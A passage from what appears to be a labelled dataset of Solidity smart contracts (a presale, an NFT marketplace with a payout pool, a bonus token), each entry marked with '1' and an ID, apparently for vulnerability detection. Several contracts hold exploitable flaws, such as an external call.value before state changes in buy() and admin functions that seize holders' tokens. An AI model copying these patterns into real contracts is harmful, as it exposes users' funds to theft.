a); return c; } } contract Ownable { modifier onlyOwner() { checkOwner(); _; } function checkOwner() internal; } contract ExternalToken is Token { event Mint(address indexed to, uint256 value, bytes data); event Burn(address indexed burner, uint256 value, bytes data); function burn(uint256 _value, bytes _data) public; } contract ReceiveAdapter { function onReceive(address _token, address _from, uint256 _value, bytes _data) internal; } contract ERC20ReceiveAdapter is ReceiveAdapter { function receive(address _token, uint256 _value, bytes _data) public { Token token = Token(_token); token.transferFrom(msg.sender, this, _value); onReceive(_token, msg.sender, _value, _data); } } contract TokenReceiver { function onTokenTransfer(address _from, uint256 _value, bytes _data) public; } contract ERC223ReceiveAdapter is TokenReceiver, ReceiveAdapter { function tokenFallback(address _from, uint256 _value, bytes _data) public { onReceive(msg.sender, _from, _value, _data); } function onTokenTransfer(address _from, uint256 _value, bytes _data) public { onReceive(msg.sender, _from, _value, _data); } } contract EtherReceiver { function receiveWithData(bytes _data) payable public; } contract EtherReceiveAdapter is EtherReceiver, ReceiveAdapter { function () payable public { receiveWithData(""); } function receiveWithData(bytes _data) payable public { onReceive(address(0), msg.sender, msg.value, _data); } } contract CompatReceiveAdapter is ERC20ReceiveAdapter, ERC223ReceiveAdapter, EtherReceiveAdapter { } contract AbstractSale is Sale, CompatReceiveAdapter, Ownable { using SafeMath for uint256; event Withdraw(address token, address to, uint256 value); event Burn(address token, uint256 value, bytes data); function onReceive(address _token, address _from, uint256 _value, bytes _data) internal { uint256 sold = getSold(_token, _value); require(sold > 0); uint256 bonus = getBonus(sold); address buyer; if (_data.length == 20) { buyer = address(toBytes20(_data, 0)); } else { require(_data.length == 0); buyer = _from; } checkPurchaseValid(buyer, sold, bonus); doPurchase(buyer, sold, bonus); Purchase(buyer, _token, _value, sold, bonus); onPurchase(buyer, _token, _value, sold, bonus); } function getSold(address _token, uint256 _value) constant public returns (uint256) { uint256 rate = getRate(_token); require(rate > 0); return _value.mul(rate).div(10**18); } function getBonus(uint256 sold) constant public returns (uint256); function getRate(address _token) constant public returns (uint256); function doPurchase(address buyer, uint256 sold, uint256 bonus) internal; function checkPurchaseValid(address , uint256 , uint256 ) internal { } function onPurchase(address , address , uint256 , uint256 , uint256 ) internal { } function toBytes20(bytes b, uint256 _start) pure internal returns (bytes20 result) { require(_start + 20 <= b.length); assembly { let from := add(_start, add(b, 0x20)) result := mload(from) } } function withdrawEth(address _to, uint256 _value) onlyOwner public { withdraw(address(0), _to, _value); } function withdraw(address _token, address _to, uint256 _value) onlyOwner public { require(_to != address(0)); verifyCanWithdraw(_token, _to, _value); if (_token == address(0)) { _to.transfer(_value); } else { Token(_token).transfer(_to, _value); } Withdraw(_token, _to, _value); } function verifyCanWithdraw(address token, address to, uint256 amount) internal; function burnWithData(address _token, uint256 _value, bytes _data) onlyOwner public { ExternalToken(_token).burn(_value, _data); Burn(_token, _value, _data); } } contract MintingSale is AbstractSale { MintableToken public token; function MintingSale(address _token) public { token = MintableToken(_token); } function doPurchase(address buyer, uint256 sold, uint256 bonus) internal { token.mint(buyer, sold.add(bonus)); } function verifyCanWithdraw(address, address, uint256) internal { } } contract OwnableImpl is Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function OwnableImpl() public { owner = msg.sender; } function checkOwner() internal { require(msg.sender == owner); } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract CappedBonusSale is AbstractSale { uint256 public cap; uint256 public initialCap; function CappedBonusSale(uint256 _cap) public { cap = _cap; initialCap = _cap; } function checkPurchaseValid(address buyer, uint256 sold, uint256 bonus) internal { super.checkPurchaseValid(buyer, sold, bonus); require(cap >= sold.add(bonus)); } function onPurchase(address buyer, address token, uint256 value, uint256 sold, uint256 bonus) internal { super.onPurchase(buyer, token, value, sold, bonus); cap = cap.sub(sold).sub(bonus); } } contract PeriodSale is AbstractSale { uint256 public start; uint256 public end; function PeriodSale(uint256 _start, uint256 _end) public { start = _start; end = _end; } function checkPurchaseValid(address buyer, uint256 sold, uint256 bonus) internal { super.checkPurchaseValid(buyer, sold, bonus); require(now > start && now < end); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract GawooniSale is OwnableImpl, MintingSale, CappedBonusSale, PeriodSale { address public btcToken; uint256 public ethRate = 1000 * 10**18; uint256 public btcEthRate = 10 * 10**10; function GawooniSale( address _mintableToken, address _btcToken, uint256 _start, uint256 _end, uint256 _cap) MintingSale(_mintableToken) CappedBonusSale(_cap) PeriodSale(_start, _end) { btcToken = _btcToken; RateAdd(address(0)); RateAdd(_btcToken); } function getRate(address _token) constant public returns (uint256) { if (_token == btcToken) { return btcEthRate * ethRate; } else if (_token == address(0)) { return ethRate; } else { return 0; } } event EthRateChange(uint256 rate); function setEthRate(uint256 _ethRate) onlyOwner public { ethRate = _ethRate; EthRateChange(_ethRate); } event BtcEthRateChange(uint256 rate); function setBtcEthRate(uint256 _btcEthRate) onlyOwner public { btcEthRate = _btcEthRate; BtcEthRateChange(_btcEthRate); } function withdrawBtc(bytes _to, uint256 _value) onlyOwner public { burnWithData(btcToken, _value, _to); } function transferTokenOwnership(address newOwner) onlyOwner public { OwnableImpl(token).transferOwnership(newOwner); } function pauseToken() onlyOwner public { Pausable(token).pause(); } function unpauseToken() onlyOwner public { Pausable(token).unpause(); } function transfer(address beneficiary, uint256 amount) onlyOwner public { doPurchase(beneficiary, amount, 0); Purchase(beneficiary, address(1), 0, amount, 0); onPurchase(beneficiary, address(1), 0, amount, 0); } } contract PreSale is GawooniSale { function PreSale( address _mintableToken, address _btcToken, uint256 _start, uint256 _end, uint256 _cap) GawooniSale(_mintableToken, _btcToken, _start, _end, _cap) { } function getBonus(uint256 sold) constant public returns (uint256) { return getTimeBonus(sold) + getAmountBonus(sold); } function getTimeBonus(uint256 sold) internal returns (uint256) { return sold.div(2); } function getAmountBonus(uint256 sold) internal returns (uint256) { if (sold >= 100000 * 10**18) { return sold; } else if (sold >= 50000 * 10 ** 18) { return sold.mul(75).div(100); } else { return 0; } } }
1
3,092
contract ERC721Basic { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract acl{ enum Role { USER, ORACLE, ADMIN } mapping (address=> Role) permissions; constructor() public { permissions[msg.sender] = Role(2); } function setRole(uint8 rolevalue,address entity)external check(2){ permissions[entity] = Role(rolevalue); } function getRole(address entity)public view returns(Role){ return permissions[entity]; } modifier check(uint8 role) { require(uint8(getRole(msg.sender)) == role); _; } } contract ERC721BasicToken is ERC721Basic, acl { using SafeMath for uint256; using AddressUtils for address; uint public numTokensTotal; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = tokenOwner[_tokenId]; tokenApprovals[_tokenId] = _to; require(_to != ownerOf(_tokenId)); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function isApprovedOrOwner(address _spender, uint256 _tokenId) public view returns (bool) { address owner = ownerOf(_tokenId); return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender); } function _mint(address _to, uint256 _tokenId) external check(2) { require(_to != address(0)); addTokenTo(_to, _tokenId); numTokensTotal = numTokensTotal.add(1); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) external check(2) { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); numTokensTotal = numTokensTotal.sub(1); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } } contract testreg is ERC721BasicToken { struct TokenStruct { string token_uri; } mapping (uint256 => TokenStruct) TokenId; } contract update is testreg { event UpdateToken(uint256 _tokenId, string new_uri); function updatetoken(uint256 _tokenId, string new_uri) external check(1){ TokenId[_tokenId].token_uri = new_uri; emit UpdateToken(_tokenId, new_uri); } function _mint_with_uri(address _to, uint256 _tokenId, string new_uri) external check(2) { require(_to != address(0)); addTokenTo(_to, _tokenId); numTokensTotal = numTokensTotal.add(1); TokenId[_tokenId].token_uri = new_uri; emit Transfer(address(0), _to, _tokenId); } } contract bloomingPool is update { using SafeMath for uint256; uint256 public totalShares = 0; uint256 public totalReleased = 0; bool public freeze; mapping(address => uint256) public shares; constructor() public { freeze = false; } function() public payable { } function calculate_total_shares(uint256 _shares,uint256 unique_id )internal{ shares[tokenOwner[unique_id]] = shares[tokenOwner[unique_id]].add(_shares); totalShares = totalShares.add(_shares); } function oracle_call(uint256 unique_id) external check(1){ calculate_total_shares(1,unique_id); } function get_shares() external view returns(uint256 individual_shares){ return shares[msg.sender]; } function freeze_pool(bool _freeze) external check(2){ freeze = _freeze; } function reset_individual_shares(address payee)internal { shares[payee] = 0; } function substract_individual_shares(uint256 _shares)internal { totalShares = totalShares - _shares; } function claim()public{ payout(msg.sender); } function payout(address to) internal returns(bool){ require(freeze == false); address payee = to; require(shares[payee] > 0); uint256 volume = address(this).balance; uint256 payment = volume.mul(shares[payee]).div(totalShares); require(payment != 0); require(address(this).balance >= payment); totalReleased = totalReleased.add(payment); payee.transfer(payment); substract_individual_shares(shares[payee]); reset_individual_shares(payee); } function emergency_withdraw(uint amount) external check(2) { require(amount <= this.balance); msg.sender.transfer(amount); } } contract buyable is bloomingPool { address INFRASTRUCTURE_POOL_ADDRESS; mapping (uint256 => uint256) TokenIdtosetprice; mapping (uint256 => uint256) TokenIdtoprice; event Set_price_and_sell(uint256 tokenId, uint256 Price); event Stop_sell(uint256 tokenId); constructor() public {} function initialisation(address _infrastructure_address) public check(2){ INFRASTRUCTURE_POOL_ADDRESS = _infrastructure_address; } function set_price_and_sell(uint256 UniqueID,uint256 Price) external { approve(address(this), UniqueID); TokenIdtosetprice[UniqueID] = Price; emit Set_price_and_sell(UniqueID, Price); } function stop_sell(uint256 UniqueID) external payable{ require(tokenOwner[UniqueID] == msg.sender); clearApproval(tokenOwner[UniqueID],UniqueID); emit Stop_sell(UniqueID); } function buy(uint256 UniqueID) external payable { address _to = msg.sender; require(TokenIdtosetprice[UniqueID] == msg.value); TokenIdtoprice[UniqueID] = msg.value; uint _blooming = msg.value.div(20); uint _infrastructure = msg.value.div(20); uint _combined = _blooming.add(_infrastructure); uint _amount_for_seller = msg.value.sub(_combined); require(tokenOwner[UniqueID].call.gas(99999).value(_amount_for_seller)()); this.transferFrom(tokenOwner[UniqueID], _to, UniqueID); if(!INFRASTRUCTURE_POOL_ADDRESS.call.gas(99999).value(_infrastructure)()){ revert("transfer to infrastructurePool failed"); } } function get_token_data(uint256 _tokenId) external view returns(uint256 _price, uint256 _setprice, bool _buyable){ _price = TokenIdtoprice[_tokenId]; _setprice = TokenIdtosetprice[_tokenId]; if (tokenApprovals[_tokenId] != address(0)){ _buyable = true; } } function get_token_data_buyable(uint256 _tokenId) external view returns(bool _buyable) { if (tokenApprovals[_tokenId] != address(0)){ _buyable = true; } } function get_all_sellable_token()external view returns(bool[101] list_of_available){ uint i; for(i = 0;i<101;i++) { if (tokenApprovals[i] != address(0)){ list_of_available[i] = true; }else{ list_of_available[i] = false; } } } function get_my_tokens()external view returns(bool[101] list_of_my_tokens){ uint i; address _owner = msg.sender; for(i = 0;i<101;i++) { if (tokenOwner[i] == _owner){ list_of_my_tokens[i] = true; }else{ list_of_my_tokens[i] = false; } } } }
1
3,772
pragma solidity ^0.5.0; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract WhitelistAdminRole { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; constructor () internal { _addWhitelistAdmin(msg.sender); } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(msg.sender)); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(msg.sender); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } } contract WhitelistedRole is WhitelistAdminRole { using Roles for Roles.Role; event WhitelistedAdded(address indexed account); event WhitelistedRemoved(address indexed account); Roles.Role private _whitelisteds; modifier onlyWhitelisted() { require(isWhitelisted(msg.sender)); _; } function isWhitelisted(address account) public view returns (bool) { return _whitelisteds.has(account); } function addWhitelisted(address account) public onlyWhitelistAdmin { _addWhitelisted(account); } function removeWhitelisted(address account) public onlyWhitelistAdmin { _removeWhitelisted(account); } function renounceWhitelisted() public { _removeWhitelisted(msg.sender); } function _addWhitelisted(address account) internal { _whitelisteds.add(account); emit WhitelistedAdded(account); } function _removeWhitelisted(address account) internal { _whitelisteds.remove(account); emit WhitelistedRemoved(account); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library MathFixed { function mulFixed(uint256 a, uint256 b) internal pure returns (uint256) { return (((a * b) >> 95) + 1) >> 1; } function powFixed(uint256 a, uint256 n) internal pure returns (uint256){ uint256 r = 79228162514264337593543950336; while(n > 0){ if(n&1 > 0){ r = mulFixed(a, r); } a = mulFixed(a, a); n >>= 1; } return r; } } contract TokenBase is ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) allowed; function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract WR2Token is TokenBase { WiredToken public wiredToken; string public constant name = "WRD Exodus"; string public constant symbol = "WR2"; uint8 public constant decimals = 8; constructor() public { wiredToken = WiredToken(msg.sender); emit Transfer(address(0), address(this), 0); } function balanceOf(address _holder) public view returns (uint256) { return wiredToken.lookBalanceWR2(_holder); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); wiredToken.transferWR2(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); wiredToken.transferWR2(_from, _to, _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function totalSupply() public view returns (uint256) { return wiredToken.totalWR2(); } function mint(address _holder, uint256 _value) external { require(msg.sender == address(wiredToken)); wiredToken.mintWR2(_holder, _value); emit Transfer(address(0), _holder, _value); } function transferByAdmin(address _from, uint256 _value) external { require(wiredToken.isWhitelistAdmin(msg.sender)); wiredToken.transferWR2(_from, msg.sender, _value); emit Transfer(_from, msg.sender, _value); } } contract WiredToken is WhitelistedRole, TokenBase { using SafeMath for uint256; using MathFixed for uint256; string public constant name = "WRD Genesis"; string public constant symbol = "WRD"; uint8 public constant decimals = 8; uint32 constant month = 30 days; uint256 public constant bonusWRDtoWR2 = 316912650057057350374175801; uint256 public constant bonusWR2toWRD = 7922816251426433759354395; uint256 public initialSupply = uint256(250000000000).mul(uint(10)**decimals); WR2Token public wr2Token; uint256 private totalWRD; uint256 public totalWR2; bool public listing = false; uint256 public launchTime = 9999999999999999999999; mapping(address => uint256) lastUpdate; mapping(address => uint256) WRDBalances; mapping(address => uint256) WRDDailyHoldBalances; mapping(address => uint256) WR2Balances; mapping(address => uint256) WR2DailyHoldBalances; mapping(address => uint256) public presaleTokens; uint256 public totalAirdropTokens; uint256 public totalPresaleTokens; constructor() public { wr2Token = new WR2Token(); mint(address(this), initialSupply.mul(2).div(10)); WRDDailyHoldBalances[address(this)] = initialSupply.mul(2).div(10); mint(msg.sender, initialSupply.mul(8).div(10)); WRDDailyHoldBalances[msg.sender] = initialSupply.mul(8).div(10); _addWhitelisted(address(this)); } function totalSupply() public view returns (uint) { return totalWRD; } function balanceOf(address _holder) public view returns (uint256) { uint[2] memory arr = lookBonus(_holder); return WRDBalances[_holder].add(arr[0]).sub(lockUpAmount(_holder)); } function lookBalanceWR2(address _holder) public view returns (uint256) { uint[2] memory arr = lookBonus(_holder); return WR2Balances[_holder].add(arr[1]); } function lockUpAmount(address _holder) internal view returns (uint) { uint percentage = 100; if (now >= launchTime.add(uint(12).mul(month))) { uint pastMonths = (now.sub(launchTime.add(uint(12).mul(month)))).div(month); percentage = 0; if (pastMonths < 50) { percentage = uint(100).sub(uint(2).mul(pastMonths)); } } return (presaleTokens[_holder]).mul(percentage).div(100); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); transferWRD(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); transferWRD(_from, _to, _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transferWRD(address _from, address _to, uint256 _value) internal { if (listing) { updateBonus(_from); updateBonus(_to); } else { WRDDailyHoldBalances[_to] = WRDDailyHoldBalances[_to].add(_value); } require(WRDBalances[_from].sub(lockUpAmount(_from)) >= _value); WRDBalances[_from] = WRDBalances[_from].sub(_value); WRDBalances[_to] = WRDBalances[_to].add(_value); WRDDailyHoldBalances[_from] = min( WRDDailyHoldBalances[_from], WRDBalances[_from] ); } function transferWR2(address _from, address _to, uint256 _value) external { require(msg.sender == address(wr2Token)); if (listing) { updateBonus(_from); updateBonus(_to); } else { WR2DailyHoldBalances[_to] = WR2DailyHoldBalances[_to].add(_value); } require(WR2Balances[_from] >= _value); WR2Balances[_from] = WR2Balances[_from].sub(_value); WR2Balances[_to] = WR2Balances[_to].add(_value); WR2DailyHoldBalances[_from] = min( WR2DailyHoldBalances[_from], WR2Balances[_from] ); } function mint(address _holder, uint _value) internal { WRDBalances[_holder] = WRDBalances[_holder].add(_value); totalWRD = totalWRD.add(_value); emit Transfer(address(0), _holder, _value); } function mintWR2(address _holder, uint _value) external { require(msg.sender == address(wr2Token)); WR2Balances[_holder] = WR2Balances[_holder].add(_value); totalWR2 = totalWR2.add(_value); } function min(uint a, uint b) internal pure returns (uint) { if(a > b) return b; return a; } function updateBonus(address _holder) internal { uint256 pastDays = now.sub((lastUpdate[_holder].mul(1 days)).add(launchTime)).div(1 days); if (pastDays > 0) { uint256[2] memory arr = lookBonus(_holder); lastUpdate[_holder] = lastUpdate[_holder].add(pastDays); WRDDailyHoldBalances[_holder] = WRDBalances[_holder].add(arr[0]); WR2DailyHoldBalances[_holder] = WR2Balances[_holder].add(arr[1]); if(arr[0] > 0) mint(_holder, arr[0]); if(arr[1] > 0) wr2Token.mint(_holder, arr[1]); } } function lookBonus(address _holder) internal view returns (uint256[2] memory bonuses) { bonuses[0] = 0; bonuses[1] = 0; if (!isBonus(_holder) || !listing ){ return bonuses; } uint256 pastDays = (now.sub((lastUpdate[_holder].mul(1 days)).add(launchTime))).div(1 days); if (pastDays == 0){ return bonuses; } pastDays--; uint256 ratePlus = (uint256(79278270803939347179781233096)).powFixed(pastDays); uint256 rateMinus = (uint256(79178054224589328007306667576)).powFixed(pastDays); ratePlus += rateMinus; rateMinus = ratePlus - (rateMinus<<1); uint256 x0 = WRDBalances[_holder] + WR2DailyHoldBalances[_holder].mulFixed(bonusWR2toWRD); uint256 y0 = WR2Balances[_holder] + WRDDailyHoldBalances[_holder].mulFixed(bonusWRDtoWR2); bonuses[0] = ratePlus.mulFixed(x0) + rateMinus.mulFixed(y0).mulFixed(uint256(12527072418752396559320690078)); bonuses[1] = rateMinus.mulFixed(x0).mulFixed(uint256(501082896750095862372827603139)) + ratePlus.mulFixed(y0); bonuses[0] = (bonuses[0]>>1) - WRDBalances[_holder]; bonuses[1] = (bonuses[1]>>1) - WR2Balances[_holder]; return bonuses; } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { if(listing) updateBonus(account); _addWhitelistAdmin(account); } function addWhitelisted(address account) public onlyWhitelistAdmin { if(listing) updateBonus(account); _addWhitelisted(account); } function renounceWhitelistAdmin() public { if(listing) updateBonus(msg.sender); _removeWhitelistAdmin(msg.sender); } function removeWhitelisted(address account) public onlyWhitelistAdmin { if(listing) updateBonus(account); _removeWhitelisted(account); } function renounceWhitelisted() public { if(listing) updateBonus(msg.sender); _removeWhitelisted(msg.sender); } function isBonus(address _holder) internal view returns(bool) { return !isWhitelistAdmin(_holder) && !isWhitelisted(_holder); } function startListing() public onlyWhitelistAdmin { require(!listing); launchTime = now; listing = true; } function addAirdropTokens(address[] calldata sender, uint256[] calldata amount) external onlyWhitelistAdmin { require(sender.length > 0 && sender.length == amount.length); for (uint i = 0; i < sender.length; i++) { transferWRD(address(this), sender[i], amount[i]); presaleTokens[sender[i]] = presaleTokens[sender[i]].add(amount[i]); totalAirdropTokens = totalAirdropTokens.add(amount[i]); emit Transfer(address(this), sender[i], amount[i]); } } function addPresaleTokens(address[] calldata sender, uint256[] calldata amount) external onlyWhitelistAdmin { require(sender.length > 0 && sender.length == amount.length); for (uint i = 0; i < sender.length; i++) { transferWRD(address(this), sender[i], amount[i]); presaleTokens[sender[i]] = presaleTokens[sender[i]].add(amount[i]); totalPresaleTokens = totalPresaleTokens.add(amount[i]); emit Transfer(address(this), sender[i], amount[i]); } } function addSpecialsaleTokens(address to, uint256 amount) external onlyWhitelisted { transferWRD(msg.sender, to, amount); presaleTokens[to] = presaleTokens[to].add(amount); emit Transfer(msg.sender, to, amount); } function transferByAdmin(address from, uint256 amount) external onlyWhitelistAdmin { transferWRD(from, msg.sender, amount); emit Transfer(from, msg.sender, amount); } }
1
5,191
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed 